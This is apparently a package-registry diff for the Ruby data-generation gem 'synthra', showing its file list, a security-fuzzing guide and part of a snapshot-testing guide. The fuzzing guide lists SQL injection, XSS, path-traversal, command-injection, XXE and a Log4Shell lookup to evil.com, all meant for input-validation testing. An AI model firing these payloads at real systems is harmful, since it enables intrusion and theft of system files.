synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (302) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +4 -0
  3. data/.rubocop.yml +40 -0
  4. data/.yardopts +18 -0
  5. data/ACCESS_DOCS.md +116 -0
  6. data/ADVANCED_FEATURES_SUMMARY.md +245 -0
  7. data/CHANGELOG.md +498 -0
  8. data/CODE_OF_CONDUCT.md +122 -0
  9. data/CONTRIBUTING.md +307 -0
  10. data/DOCUMENTATION.md +204 -0
  11. data/DOCUMENTATION_GUIDE.md +194 -0
  12. data/LICENSE +22 -0
  13. data/README.md +1458 -0
  14. data/Rakefile +128 -0
  15. data/benchmark/README.md +591 -0
  16. data/benchmark/batch_generation.rb +63 -0
  17. data/benchmark/engine_comparison.rb +295 -0
  18. data/benchmark/single_record.rb +108 -0
  19. data/benchmark/streaming.rb +74 -0
  20. data/docs/ACTIVERECORD_INFERENCE.md +524 -0
  21. data/docs/API_SERVER.md +278 -0
  22. data/docs/CONFIG_FILE.md +315 -0
  23. data/docs/DATA_CONTRACTS.md +312 -0
  24. data/docs/ENHANCED_REPL.md +304 -0
  25. data/docs/FACTORY_BOT.md +271 -0
  26. data/docs/GITHUB_ACTION.md +420 -0
  27. data/docs/GRAPHQL_EXPORT.md +303 -0
  28. data/docs/GRAPHQL_FEDERATION.md +651 -0
  29. data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
  30. data/docs/LSP.md +189 -0
  31. data/docs/MIGRATION_GENERATOR.md +547 -0
  32. data/docs/MOCK_SERVER.md +280 -0
  33. data/docs/NATIVE_ENGINE.md +298 -0
  34. data/docs/OPENAPI_EXPORT.md +252 -0
  35. data/docs/PERFORMANCE_MODE.md +228 -0
  36. data/docs/PERSONAS.md +547 -0
  37. data/docs/PROPERTY_TESTING.md +284 -0
  38. data/docs/PROTOBUF_EXPORT.md +276 -0
  39. data/docs/QUALITY_METRICS.md +555 -0
  40. data/docs/QUICK_REFERENCE.md +88 -0
  41. data/docs/RAILS_ENGINE.md +404 -0
  42. data/docs/RAILS_INTEGRATION.md +454 -0
  43. data/docs/README.md +175 -0
  44. data/docs/REPL_QUICK_REFERENCE.md +149 -0
  45. data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
  46. data/docs/SCENARIOS.md +576 -0
  47. data/docs/SECURITY_TESTING.md +318 -0
  48. data/docs/SNAPSHOT_TESTING.md +308 -0
  49. data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
  50. data/docs/TERRAFORM_EXPORT.md +447 -0
  51. data/docs/TIME_TRAVEL.md +507 -0
  52. data/docs/USAGE_GUIDE.md +980 -0
  53. data/docs/WEBHOOK_SIMULATOR.md +579 -0
  54. data/docs/advanced_features.md +183 -0
  55. data/docs/api_reference.md +153 -0
  56. data/docs/behaviors.md +138 -0
  57. data/docs/best_practices.md +191 -0
  58. data/docs/dsl_reference.md +172 -0
  59. data/docs/examples.md +162 -0
  60. data/docs/generation_modes.md +125 -0
  61. data/docs/getting_started.md +92 -0
  62. data/docs/index.html +177 -0
  63. data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
  64. data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
  65. data/docs/troubleshooting.md +215 -0
  66. data/docs/type_reference.md +224 -0
  67. data/examples/hostile_mode_demo.rb +64 -0
  68. data/exe/synthra +6 -0
  69. data/ext/synthra_native/Cargo.lock +972 -0
  70. data/ext/synthra_native/Cargo.toml +46 -0
  71. data/ext/synthra_native/extconf.rb +41 -0
  72. data/ext/synthra_native/src/generator.rs +397 -0
  73. data/ext/synthra_native/src/lib.rs +229 -0
  74. data/ext/synthra_native/src/types.rs +1485 -0
  75. data/lib/generators/synthra/install_generator.rb +86 -0
  76. data/lib/generators/synthra/templates/api_response.dsl +15 -0
  77. data/lib/generators/synthra/templates/fake_data.rake +116 -0
  78. data/lib/generators/synthra/templates/synthra.yml +31 -0
  79. data/lib/generators/synthra/templates/synthra_support.rb +19 -0
  80. data/lib/generators/synthra/templates/user.dsl +11 -0
  81. data/lib/synthra/activerecord_inference.rb +394 -0
  82. data/lib/synthra/api.rb +381 -0
  83. data/lib/synthra/api_server.rb +718 -0
  84. data/lib/synthra/behaviors/applicator.rb +165 -0
  85. data/lib/synthra/behaviors/base.rb +155 -0
  86. data/lib/synthra/behaviors/close_connection.rb +60 -0
  87. data/lib/synthra/behaviors/deprecated.rb +100 -0
  88. data/lib/synthra/behaviors/failure.rb +69 -0
  89. data/lib/synthra/behaviors/latency.rb +103 -0
  90. data/lib/synthra/behaviors/partial_data.rb +83 -0
  91. data/lib/synthra/behaviors/randomize_order.rb +74 -0
  92. data/lib/synthra/behaviors/registry.rb +238 -0
  93. data/lib/synthra/behaviors/simulate_error.rb +79 -0
  94. data/lib/synthra/cli/commands/base.rb +105 -0
  95. data/lib/synthra/cli/commands/diff.rb +227 -0
  96. data/lib/synthra/cli/commands/docs.rb +67 -0
  97. data/lib/synthra/cli/commands/export.rb +150 -0
  98. data/lib/synthra/cli/commands/generate.rb +72 -0
  99. data/lib/synthra/cli/commands/import.rb +80 -0
  100. data/lib/synthra/cli/commands/lint.rb +53 -0
  101. data/lib/synthra/cli/commands/live.rb +57 -0
  102. data/lib/synthra/cli/commands/seed.rb +99 -0
  103. data/lib/synthra/cli/commands/validate.rb +28 -0
  104. data/lib/synthra/cli.rb +2471 -0
  105. data/lib/synthra/config_file.rb +129 -0
  106. data/lib/synthra/configuration.rb +281 -0
  107. data/lib/synthra/contracts_registry.rb +408 -0
  108. data/lib/synthra/database_seeder.rb +268 -0
  109. data/lib/synthra/deterministic_ids.rb +218 -0
  110. data/lib/synthra/documentation_generator.rb +414 -0
  111. data/lib/synthra/engine.rb +251 -0
  112. data/lib/synthra/errors.rb +1169 -0
  113. data/lib/synthra/export/base.rb +85 -0
  114. data/lib/synthra/export/csv.rb +101 -0
  115. data/lib/synthra/export/graphql.rb +266 -0
  116. data/lib/synthra/export/graphql_federation.rb +377 -0
  117. data/lib/synthra/export/graphviz.rb +258 -0
  118. data/lib/synthra/export/javascript.rb +327 -0
  119. data/lib/synthra/export/json_data.rb +61 -0
  120. data/lib/synthra/export/json_schema.rb +290 -0
  121. data/lib/synthra/export/openapi.rb +514 -0
  122. data/lib/synthra/export/protobuf.rb +483 -0
  123. data/lib/synthra/export/python.rb +560 -0
  124. data/lib/synthra/export/sql.rb +381 -0
  125. data/lib/synthra/export/sql_insert.rb +152 -0
  126. data/lib/synthra/export/terraform.rb +501 -0
  127. data/lib/synthra/export/type_mapping.rb +389 -0
  128. data/lib/synthra/export/typescript.rb +300 -0
  129. data/lib/synthra/export/xml_data.rb +104 -0
  130. data/lib/synthra/export/yaml_data.rb +56 -0
  131. data/lib/synthra/export.rb +404 -0
  132. data/lib/synthra/factory_bot_integration.rb +157 -0
  133. data/lib/synthra/field.rb +440 -0
  134. data/lib/synthra/functions/registry.rb +104 -0
  135. data/lib/synthra/generator/context.rb +372 -0
  136. data/lib/synthra/generator/engine.rb +336 -0
  137. data/lib/synthra/generator/faker_adapter.rb +425 -0
  138. data/lib/synthra/generator/modes.rb +444 -0
  139. data/lib/synthra/generator/resolver.rb +256 -0
  140. data/lib/synthra/generator/rng.rb +273 -0
  141. data/lib/synthra/generator/streamer.rb +63 -0
  142. data/lib/synthra/generator/uniqueness.rb +118 -0
  143. data/lib/synthra/initializer.rb +97 -0
  144. data/lib/synthra/limits.rb +279 -0
  145. data/lib/synthra/live_preview.rb +518 -0
  146. data/lib/synthra/loader_config.rb +78 -0
  147. data/lib/synthra/lsp/server.rb +689 -0
  148. data/lib/synthra/migration_generator.rb +301 -0
  149. data/lib/synthra/mixin.rb +174 -0
  150. data/lib/synthra/mock_server.rb +458 -0
  151. data/lib/synthra/native_engine.rb +304 -0
  152. data/lib/synthra/openapi_importer.rb +228 -0
  153. data/lib/synthra/output/json_formatter.rb +40 -0
  154. data/lib/synthra/output/ndjson_formatter.rb +55 -0
  155. data/lib/synthra/parser/ast.rb +1287 -0
  156. data/lib/synthra/parser/lexer.rb +1152 -0
  157. data/lib/synthra/parser/parser.rb +1664 -0
  158. data/lib/synthra/parser/tokens.rb +461 -0
  159. data/lib/synthra/performance_mode.rb +364 -0
  160. data/lib/synthra/personas.rb +397 -0
  161. data/lib/synthra/property_testing.rb +172 -0
  162. data/lib/synthra/quality_metrics.rb +405 -0
  163. data/lib/synthra/rails_test_helper.rb +248 -0
  164. data/lib/synthra/registry.rb +533 -0
  165. data/lib/synthra/relationships.rb +193 -0
  166. data/lib/synthra/repl/enhanced_repl.rb +607 -0
  167. data/lib/synthra/repl/formatter.rb +191 -0
  168. data/lib/synthra/scenarios.rb +423 -0
  169. data/lib/synthra/schema.rb +605 -0
  170. data/lib/synthra/schema_inheritance.rb +104 -0
  171. data/lib/synthra/schema_versioning.rb +212 -0
  172. data/lib/synthra/snapshot_testing.rb +199 -0
  173. data/lib/synthra/time_travel.rb +338 -0
  174. data/lib/synthra/type_definitions.rb +274 -0
  175. data/lib/synthra/types/address_location/addresses.rb +125 -0
  176. data/lib/synthra/types/address_location/airports.rb +200 -0
  177. data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
  178. data/lib/synthra/types/address_location/locations.rb +406 -0
  179. data/lib/synthra/types/base.rb +48 -0
  180. data/lib/synthra/types/commerce_products/commerce.rb +119 -0
  181. data/lib/synthra/types/commerce_products/companies.rb +71 -0
  182. data/lib/synthra/types/commerce_products/construction.rb +126 -0
  183. data/lib/synthra/types/commerce_products/products.rb +205 -0
  184. data/lib/synthra/types/core/collections.rb +513 -0
  185. data/lib/synthra/types/core/defaults.rb +76 -0
  186. data/lib/synthra/types/core/enums.rb +102 -0
  187. data/lib/synthra/types/core/identifiers.rb +445 -0
  188. data/lib/synthra/types/core/primitives.rb +586 -0
  189. data/lib/synthra/types/core/references.rb +466 -0
  190. data/lib/synthra/types/core/sequences.rb +304 -0
  191. data/lib/synthra/types/crypto/crypto.rb +162 -0
  192. data/lib/synthra/types/date_time/dates.rb +387 -0
  193. data/lib/synthra/types/finance_banking/banking.rb +424 -0
  194. data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
  195. data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
  196. data/lib/synthra/types/formula.rb +184 -0
  197. data/lib/synthra/types/health_medical/medical.rb +150 -0
  198. data/lib/synthra/types/hostile_payloads.rb +122 -0
  199. data/lib/synthra/types/json_array.rb +51 -0
  200. data/lib/synthra/types/media_entertainment/media.rb +62 -0
  201. data/lib/synthra/types/naughty_string.rb +30 -0
  202. data/lib/synthra/types/personal_names/chinese.rb +41 -0
  203. data/lib/synthra/types/personal_names/identifiers.rb +187 -0
  204. data/lib/synthra/types/personal_names/names.rb +246 -0
  205. data/lib/synthra/types/personal_names/national_id.rb +89 -0
  206. data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
  207. data/lib/synthra/types/regex.rb +248 -0
  208. data/lib/synthra/types/registry.rb +182 -0
  209. data/lib/synthra/types/repeating_element.rb +50 -0
  210. data/lib/synthra/types/scenario.rb +29 -0
  211. data/lib/synthra/types/technology_internet/apps.rb +67 -0
  212. data/lib/synthra/types/technology_internet/communication.rb +162 -0
  213. data/lib/synthra/types/technology_internet/devices.rb +80 -0
  214. data/lib/synthra/types/technology_internet/formats.rb +139 -0
  215. data/lib/synthra/types/technology_internet/networking.rb +143 -0
  216. data/lib/synthra/types/template.rb +92 -0
  217. data/lib/synthra/types/text_content/business.rb +128 -0
  218. data/lib/synthra/types/text_content/colors.rb +70 -0
  219. data/lib/synthra/types/text_content/misc.rb +237 -0
  220. data/lib/synthra/types/text_content/security.rb +130 -0
  221. data/lib/synthra/types/text_content/text_generation.rb +532 -0
  222. data/lib/synthra/types/travel/travel.rb +150 -0
  223. data/lib/synthra/utils/string_distance.rb +133 -0
  224. data/lib/synthra/validator/dsl_validator.rb +339 -0
  225. data/lib/synthra/validator/path_validator.rb +615 -0
  226. data/lib/synthra/version.rb +35 -0
  227. data/lib/synthra/webhook_simulator.rb +341 -0
  228. data/lib/synthra.rb +259 -0
  229. data/schemas/address.dsl +16 -0
  230. data/schemas/api_response.dsl +8 -0
  231. data/schemas/error_payload.dsl +9 -0
  232. data/schemas/order.dsl +10 -0
  233. data/schemas/order_item.dsl +8 -0
  234. data/schemas/payment.dsl +11 -0
  235. data/schemas/social_post.dsl +13 -0
  236. data/schemas/user.dsl +10 -0
  237. data/scripts/batch_fix_all.rb +96 -0
  238. data/scripts/delete_old_files.rb +32 -0
  239. data/scripts/fix_all_grouped_files.rb +137 -0
  240. data/scripts/fix_all_indentation.rb +48 -0
  241. data/scripts/fix_all_syntax.rb +124 -0
  242. data/scripts/fix_grouped_files.rb +184 -0
  243. data/scripts/fix_syntax_errors.rb +108 -0
  244. data/scripts/group_domain_types.rb +112 -0
  245. data/scripts/group_domain_types_fixed.rb +150 -0
  246. data/scripts/merge_domains_to_one_file.rb +68 -0
  247. data/scripts/move_existing_types.rb +130 -0
  248. data/scripts/split_grouped_types.rb +142 -0
  249. data/tech_docs/README.md +134 -0
  250. data/tech_docs/advanced/streaming.md +405 -0
  251. data/tech_docs/advanced/thread_safety.md +253 -0
  252. data/tech_docs/api/overview.md +485 -0
  253. data/tech_docs/appendices/type_chart.md +193 -0
  254. data/tech_docs/basic_concepts.md +383 -0
  255. data/tech_docs/behaviors/overview.md +346 -0
  256. data/tech_docs/dsl/complex_types.md +790 -0
  257. data/tech_docs/dsl/core_types.md +464 -0
  258. data/tech_docs/dsl/datetime_types.md +325 -0
  259. data/tech_docs/dsl/field_modifiers.md +414 -0
  260. data/tech_docs/dsl/grammar.md +431 -0
  261. data/tech_docs/dsl/schema_definition.md +399 -0
  262. data/tech_docs/export/README.md +276 -0
  263. data/tech_docs/installation.md +273 -0
  264. data/tech_docs/integration/ci_cd.md +707 -0
  265. data/tech_docs/integration/ci_cd_guide.md +579 -0
  266. data/tech_docs/integration/factory_bot.md +485 -0
  267. data/tech_docs/integration/rails.md +630 -0
  268. data/tech_docs/integration/rspec.md +449 -0
  269. data/tech_docs/modes/overview.md +350 -0
  270. data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
  271. data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
  272. data/tech_docs/quick_start.md +256 -0
  273. data/tech_docs/templates/README.md +805 -0
  274. data/tech_docs/tutorials/advanced.md +371 -0
  275. data/tech_docs/tutorials/getting_started.md +189 -0
  276. data/tech_docs/tutorials/intermediate.md +231 -0
  277. data/tech_docs/tutorials/template_gallery.md +569 -0
  278. data/tech_example/01_basic_usage.rb +238 -0
  279. data/tech_example/02_types_demo.rb +336 -0
  280. data/tech_example/04_cli_usage.md +429 -0
  281. data/tech_example/05_database_seeding.rb +283 -0
  282. data/tech_example/07_rspec_integration.rb +359 -0
  283. data/tech_example/10_custom_types.rb +387 -0
  284. data/tech_example/12_behaviors.rb +372 -0
  285. data/tech_example/13_twitter_dm_example.rb +120 -0
  286. data/tech_example/14_exact_json_structure.rb +253 -0
  287. data/tech_example/16_lsp_server.rb +56 -0
  288. data/tech_example/17_property_testing.rb +92 -0
  289. data/tech_example/18_enhanced_repl.rb +120 -0
  290. data/tech_example/19_security_fuzzing.rb +145 -0
  291. data/tech_example/NEW_FEATURES.md +169 -0
  292. data/tech_example/README.md +118 -0
  293. data/tech_example/schemas/api_response.dsl +123 -0
  294. data/tech_example/schemas/ecommerce.dsl +121 -0
  295. data/tech_example/schemas/twitter_dm.dsl +109 -0
  296. data/tech_example/schemas/user.dsl +36 -0
  297. data/vscode-extension/README.md +246 -0
  298. data/vscode-extension/language-configuration.json +31 -0
  299. data/vscode-extension/package.json +55 -0
  300. data/vscode-extension/snippets/fakedatadsl.json +198 -0
  301. data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
  302. metadata +478 -0
@@ -0,0 +1,318 @@
1
+ # Security Fuzzing (Hostile Mode)
2
+
3
+ FakeDataDSL includes a `:hostile` generation mode for security testing, generating attack payloads designed to test API endpoints and validation logic.
4
+
5
+ ## Quick Start
6
+
7
+ ```ruby
8
+ # Generate hostile data
9
+ schema.generate(mode: :hostile)
10
+
11
+ # CLI
12
+ fake_data_dsl generate User --mode hostile
13
+ ```
14
+
15
+ ## Attack Vectors
16
+
17
+ ### SQL Injection
18
+
19
+ ```ruby
20
+ # Generated payloads include:
21
+ "' OR '1'='1"
22
+ "'; DROP TABLE users;--"
23
+ "' UNION SELECT * FROM users--"
24
+ "1' OR '1'='1"
25
+ "admin'--"
26
+ ```
27
+
28
+ ### XSS (Cross-Site Scripting)
29
+
30
+ ```ruby
31
+ # Generated payloads include:
32
+ "<script>alert(1)</script>"
33
+ "<img src=x onerror=alert(1)>"
34
+ "<svg onload=alert(1)>"
35
+ "javascript:alert(1)"
36
+ "<body onload=alert(1)>"
37
+ ```
38
+
39
+ ### Buffer Overflow
40
+
41
+ ```ruby
42
+ # Generated payloads include:
43
+ "A" * 1000 # 1KB
44
+ "A" * 10000 # 10KB
45
+ "A" * 100000 # 100KB
46
+ "A" * 65536 # 64KB
47
+ "\x00" * 1000 # Null bytes
48
+ ```
49
+
50
+ ### Unicode Attacks
51
+
52
+ ```ruby
53
+ # Generated payloads include:
54
+ "\u202E" + "evil" + "\u202D" # RTL override
55
+ "\uFEFF" + "text" # BOM
56
+ "\u200B" * 100 # Zero-width spaces
57
+ "Zalgo: H\u0301\u0302..." # Zalgo text
58
+ ```
59
+
60
+ ### Path Traversal
61
+
62
+ ```ruby
63
+ # Generated payloads include:
64
+ "../../../etc/passwd"
65
+ "..\\..\\..\\windows\\system32\\config\\sam"
66
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
67
+ ```
68
+
69
+ ### Command Injection
70
+
71
+ ```ruby
72
+ # Generated payloads include:
73
+ "; ls -la"
74
+ "| cat /etc/passwd"
75
+ "&& whoami"
76
+ "`id`"
77
+ "$(whoami)"
78
+ ```
79
+
80
+ ### LDAP Injection
81
+
82
+ ```ruby
83
+ # Generated payloads include:
84
+ "*)(uid=*))(|(uid=*"
85
+ "*))%00"
86
+ "*()|&"
87
+ ```
88
+
89
+ ### XXE Injection
90
+
91
+ ```ruby
92
+ # Generated payloads include:
93
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xee SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>'
94
+ ```
95
+
96
+ ### Log4Shell
97
+
98
+ ```ruby
99
+ # Generated payloads include:
100
+ "${jndi:ldap://evil.com/a}"
101
+ ```
102
+
103
+ ## Usage Examples
104
+
105
+ ### API Endpoint Testing
106
+
107
+ ```ruby
108
+ # Test API endpoint with hostile inputs
109
+ schema = FakeDataDSL.load("schemas/user.dsl")
110
+ hostile_data = schema.generate_many(1000, mode: :hostile)
111
+
112
+ hostile_data.each do |payload|
113
+ response = post("/api/users", payload)
114
+
115
+ # Should reject hostile input
116
+ expect(response.status).to eq(400)
117
+ expect(response.body).not_to include("error")
118
+ end
119
+ ```
120
+
121
+ ### Validation Testing
122
+
123
+ ```ruby
124
+ # Test that validation rejects hostile input
125
+ verify_property("User", count: 500, mode: :hostile) do |user_data|
126
+ user = User.new(user_data)
127
+ expect(user).not_to be_valid
128
+ end
129
+ ```
130
+
131
+ ### SQL Injection Testing
132
+
133
+ ```ruby
134
+ # Test SQL injection protection
135
+ hostile_users = schema.generate_many(100, mode: :hostile)
136
+
137
+ hostile_users.each do |user|
138
+ # Should escape SQL properly
139
+ User.create(user)
140
+ expect(User.count).to eq(1) # Only one user, not injected
141
+ end
142
+ ```
143
+
144
+ ### XSS Testing
145
+
146
+ ```ruby
147
+ # Test XSS protection
148
+ hostile_data = schema.generate(mode: :hostile)
149
+
150
+ # Should escape HTML
151
+ rendered = render_user_profile(hostile_data)
152
+ expect(rendered).not_to include("<script>")
153
+ expect(rendered).to include("&lt;script&gt;") # Escaped
154
+ ```
155
+
156
+ ## Integration with Property Testing
157
+
158
+ ```ruby
159
+ include FakeDataDSL::PropertyTesting
160
+
161
+ RSpec.describe "User API Security" do
162
+ it "rejects hostile input" do
163
+ verify_property("User", count: 1000, mode: :hostile) do |user_data|
164
+ response = post("/api/users", user_data)
165
+ expect(response.status).to eq(400)
166
+ end
167
+ end
168
+ end
169
+ ```
170
+
171
+ ## Custom Hostile Payloads
172
+
173
+ You can extend hostile payloads by registering custom types:
174
+
175
+ ```ruby
176
+ FakeDataDSL.register_type(:custom_attack) do |rng, context, args, mode|
177
+ if mode == :hostile
178
+ rng.sample([
179
+ "custom_attack_1",
180
+ "custom_attack_2"
181
+ ])
182
+ else
183
+ "normal_value"
184
+ end
185
+ end
186
+ ```
187
+
188
+ ## Best Practices
189
+
190
+ ### 1. Use in Test Environment Only
191
+
192
+ ```ruby
193
+ # Only enable hostile mode in test environment
194
+ if Rails.env.test?
195
+ schema.generate(mode: :hostile)
196
+ end
197
+ ```
198
+
199
+ ### 2. Test Validation Logic
200
+
201
+ ```ruby
202
+ # Ensure validation rejects hostile input
203
+ hostile_data = schema.generate(mode: :hostile)
204
+ user = User.new(hostile_data)
205
+ expect(user).not_to be_valid
206
+ ```
207
+
208
+ ### 3. Test API Endpoints
209
+
210
+ ```ruby
211
+ # Test that APIs properly sanitize input
212
+ hostile_data = schema.generate_many(100, mode: :hostile)
213
+ hostile_data.each do |payload|
214
+ response = post("/api/users", payload)
215
+ expect(response.status).to eq(400)
216
+ end
217
+ ```
218
+
219
+ ### 4. Combine with Other Modes
220
+
221
+ ```ruby
222
+ # Test with mixed mode (includes hostile)
223
+ schema.generate(mode: :mixed)
224
+ # 80% random, 15% edge, 5% invalid (hostile included)
225
+ ```
226
+
227
+ ## Payload Library
228
+
229
+ All hostile payloads are defined in `FakeDataDSL::HostilePayloads`:
230
+
231
+ ```ruby
232
+ FakeDataDSL::HostilePayloads::SQL_INJECTION
233
+ FakeDataDSL::HostilePayloads::XSS
234
+ FakeDataDSL::HostilePayloads::BUFFER_OVERFLOW
235
+ FakeDataDSL::HostilePayloads::UNICODE_ATTACKS
236
+ FakeDataDSL::HostilePayloads::PATH_TRAVERSAL
237
+ FakeDataDSL::HostilePayloads::COMMAND_INJECTION
238
+ FakeDataDSL::HostilePayloads::LDAP_INJECTION
239
+ FakeDataDSL::HostilePayloads::XXE_INJECTION
240
+ FakeDataDSL::HostilePayloads::ALL # All payloads combined
241
+ ```
242
+
243
+ ## Type-Specific Hostile Generation
244
+
245
+ Some types have specialized hostile generation:
246
+
247
+ ### Text Type
248
+
249
+ ```ruby
250
+ # Text fields generate random hostile payloads
251
+ schema = FakeDataDSL.parse("User:\n name: text")
252
+ result = schema.generate(mode: :hostile)
253
+ # result["name"] may contain SQL injection, XSS, etc.
254
+ ```
255
+
256
+ ### UUID Type
257
+
258
+ ```ruby
259
+ # UUID fields generate malformed UUIDs
260
+ schema = FakeDataDSL.parse("User:\n id: uuid")
261
+ result = schema.generate(mode: :hostile)
262
+ # result["id"] may contain:
263
+ # - "' OR '1'='1" (SQL injection attempt)
264
+ # - "../../../etc/passwd" (Path traversal)
265
+ # - "<script>alert('xss')</script>" (XSS)
266
+ # - Malformed UUIDs
267
+ ```
268
+
269
+ ## CLI Usage
270
+
271
+ ```bash
272
+ # Generate hostile data
273
+ fake_data_dsl generate User --mode hostile
274
+
275
+ # Generate multiple hostile records
276
+ fake_data_dsl generate User --mode hostile --count 1000
277
+
278
+ # Export hostile data for testing
279
+ fake_data_dsl export User -f json -c 1000 --mode hostile -o hostile_test_data.json
280
+ ```
281
+
282
+ ## REPL Usage
283
+
284
+ ```bash
285
+ fake_data_dsl repl
286
+
287
+ > mode hostile
288
+ ✅ Mode set to hostile
289
+
290
+ > gen User
291
+ {
292
+ "id": "' OR '1'='1",
293
+ "name": "<script>alert(1)</script>",
294
+ "email": "'; DROP TABLE users;--"
295
+ }
296
+
297
+ > table User
298
+ ────────────────────┼───────────────────────────────
299
+ id │ "' OR '1'='1"
300
+ name │ "<script>alert(1)</script>"
301
+ email │ "'; DROP TABLE users;--"
302
+ ```
303
+
304
+ ## Security Considerations
305
+
306
+ ⚠️ **Warning**: Hostile mode generates actual attack payloads. Use only in:
307
+
308
+ - Test environments
309
+ - Isolated systems
310
+ - Security testing scenarios
311
+
312
+ Never use hostile mode in production or with real databases.
313
+
314
+ ## See Also
315
+
316
+ - [Generation Modes](tech_docs/modes/overview.md)
317
+ - [Property-Based Testing](docs/PROPERTY_TESTING.md)
318
+ - [CLI Guide](tech_example/04_cli_usage.md)
@@ -0,0 +1,308 @@
1
+ # Snapshot Testing
2
+
3
+ Snapshot testing ensures your schemas generate consistent, expected output. It's perfect for catching unintended schema changes in CI pipelines.
4
+
5
+ ## Quick Start
6
+
7
+ ### 1. Include the Module
8
+
9
+ ```ruby
10
+ # spec/spec_helper.rb
11
+ require 'fake_data_dsl/snapshot_testing'
12
+
13
+ RSpec.configure do |config|
14
+ config.include FakeDataDSL::SnapshotTesting
15
+ end
16
+ ```
17
+
18
+ ### 2. Write Snapshot Tests
19
+
20
+ ```ruby
21
+ # spec/schemas/snapshots_spec.rb
22
+ RSpec.describe "Schema Snapshots" do
23
+ let(:schema) { FakeDataDSL.load("schemas/user.dsl") }
24
+
25
+ it "generates stable output" do
26
+ expect_snapshot(schema, seed: 42)
27
+ end
28
+ end
29
+ ```
30
+
31
+ ### 3. Run Tests
32
+
33
+ ```bash
34
+ # First run creates snapshots
35
+ bundle exec rspec spec/schemas/snapshots_spec.rb
36
+
37
+ # Subsequent runs compare against snapshots
38
+ bundle exec rspec spec/schemas/snapshots_spec.rb
39
+ ```
40
+
41
+ ## How It Works
42
+
43
+ 1. **First Run**: Generates data with a seed and saves it as a JSON snapshot
44
+ 2. **Subsequent Runs**: Generates data with the same seed and compares to the snapshot
45
+ 3. **On Mismatch**: Test fails, showing the difference
46
+
47
+ ## API Reference
48
+
49
+ ### `expect_snapshot(schema, seed:, update:)`
50
+
51
+ Main method for snapshot testing.
52
+
53
+ ```ruby
54
+ # Create or verify snapshot
55
+ expect_snapshot(schema, seed: 42)
56
+
57
+ # Force update snapshot (when changes are intentional)
58
+ expect_snapshot(schema, seed: 42, update: true)
59
+ ```
60
+
61
+ **Parameters:**
62
+ - `schema` - The FakeDataDSL schema to test
63
+ - `seed` - Random seed for deterministic generation (default: 42)
64
+ - `update` - If true, update the snapshot file (default: false)
65
+
66
+ ### `match_snapshot(schema_name)`
67
+
68
+ RSpec matcher for snapshot comparison.
69
+
70
+ ```ruby
71
+ it "matches snapshot" do
72
+ data = schema.generate(seed: 42)
73
+ expect(data).to match_snapshot("user")
74
+ end
75
+ ```
76
+
77
+ ### `SnapshotTesting.generate_all_snapshots(registry, seed:)`
78
+
79
+ Generate snapshots for all schemas in a registry.
80
+
81
+ ```ruby
82
+ registry = FakeDataDSL::Registry.new
83
+ registry.load_dir("schemas/")
84
+
85
+ FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
86
+ # Creates: spec/snapshots/fake_data_dsl/user.json
87
+ # Creates: spec/snapshots/fake_data_dsl/order.json
88
+ # etc.
89
+ ```
90
+
91
+ ### `SnapshotTesting.verify_all_snapshots(registry, seed:)`
92
+
93
+ Verify all snapshots match.
94
+
95
+ ```ruby
96
+ mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
97
+
98
+ if mismatches.any?
99
+ puts "Mismatched schemas: #{mismatches.join(', ')}"
100
+ exit 1
101
+ end
102
+ ```
103
+
104
+ ## Configuration
105
+
106
+ ### Snapshot Directory
107
+
108
+ Default: `spec/snapshots/fake_data_dsl/`
109
+
110
+ ```ruby
111
+ # Change snapshot directory
112
+ FakeDataDSL::SnapshotTesting.snapshot_dir = "spec/fixtures/snapshots"
113
+ ```
114
+
115
+ ## Testing All Schemas
116
+
117
+ ### Dynamic Test Generation
118
+
119
+ ```ruby
120
+ RSpec.describe "All Schema Snapshots" do
121
+ before(:all) do
122
+ FakeDataDSL.load_schemas("schemas/")
123
+ end
124
+
125
+ FakeDataDSL.each_schema do |schema|
126
+ it "#{schema.name} generates stable output" do
127
+ expect_snapshot(schema, seed: 42)
128
+ end
129
+ end
130
+ end
131
+ ```
132
+
133
+ ### Bulk Verification
134
+
135
+ ```ruby
136
+ RSpec.describe "Schema Stability" do
137
+ it "all schemas match their snapshots" do
138
+ registry = FakeDataDSL::Registry.new
139
+ registry.load_dir("schemas/")
140
+
141
+ mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
142
+
143
+ expect(mismatches).to be_empty,
144
+ "Schemas with mismatched snapshots: #{mismatches.join(', ')}"
145
+ end
146
+ end
147
+ ```
148
+
149
+ ## CI Integration
150
+
151
+ ### GitHub Actions
152
+
153
+ ```yaml
154
+ # .github/workflows/schema-snapshots.yml
155
+ name: Schema Snapshots
156
+
157
+ on: [push, pull_request]
158
+
159
+ jobs:
160
+ test:
161
+ runs-on: ubuntu-latest
162
+ steps:
163
+ - uses: actions/checkout@v3
164
+ - uses: ruby/setup-ruby@v1
165
+ with:
166
+ ruby-version: 3.2
167
+ bundler-cache: true
168
+
169
+ - name: Run snapshot tests
170
+ run: bundle exec rspec spec/schemas/snapshots_spec.rb
171
+ ```
172
+
173
+ ### GitLab CI
174
+
175
+ ```yaml
176
+ # .gitlab-ci.yml
177
+ schema-snapshots:
178
+ stage: test
179
+ script:
180
+ - bundle exec rspec spec/schemas/snapshots_spec.rb
181
+ only:
182
+ - merge_requests
183
+ ```
184
+
185
+ ## Updating Snapshots
186
+
187
+ ### When to Update
188
+
189
